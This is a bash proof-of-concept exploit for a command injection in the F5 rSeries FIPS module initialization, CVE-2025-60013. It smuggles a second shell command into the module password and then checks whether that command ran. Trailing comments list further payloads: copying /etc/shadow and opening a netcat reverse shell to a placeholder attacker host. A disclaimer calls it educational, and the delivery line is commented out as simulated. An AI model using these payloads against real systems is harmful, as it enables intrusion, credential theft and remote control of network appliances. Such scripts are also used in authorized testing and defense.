CVE-2025-60013

#!/bin/bash # CVE-2025-60013 - F5 rSeries FIPS Module Command Injection PoC # This PoC demonstrates the shell metacharacter injection vulnerability # in the F5 rSeries FIPS module initialization process. # # Prerequisites: # - Access to a high-privileged authenticated session on F5 rSeries # - Ability to invoke FIPS module initialization command # # WARNING: This is for educational and authorized testing purposes only. # Step 1: Prepare a malicious password with shell metacharacters # The password contains a semicolon followed by a command to execute MALICIOUS_PASSWORD='InitPass; id > /tmp/pwned_fips.txt' echo "[*] CVE-2025-60013 PoC - F5 rSeries FIPS Module Command Injection" echo "[*] Preparing malicious payload..." # Step 2: Attempt to initialize FIPS module with the malicious password # The exact command may vary depending on F5 rSeries version and TMOS version # Common initialization commands include: # - tmsh modify sys crypto fips init password <password> # - bigstart fips init --password <password> # - custom FIPS initialization scripts echo "[*] Attempting FIPS module initialization with injected payload..." # Simulated exploitation - replace with actual FIPS init command # tmsh modify sys crypto fips init password "${MALICIOUS_PASSWORD}" # Step 3: Verify command execution echo "[*] Checking if injected command was executed..." if [ -f /tmp/pwned_fips.txt ]; then echo "[+] SUCCESS: Command injection confirmed!" cat /tmp/pwned_fips.txt echo "" echo "[+] The attacker has achieved arbitrary command execution" echo "[+] and crossed the FIPS security boundary." else echo "[-] Exploit may not have succeeded or target is not vulnerable." fi # Additional payload examples for further exploitation: # MALICIOUS_PASSWORD='InitPass; cat /etc/shadow > /tmp/shadow_dump' # MALICIOUS_PASSWORD='InitPass; nc -e /bin/sh attacker_ip 4444' # MALICIOUS_PASSWORD='InitPass$(whoami)'

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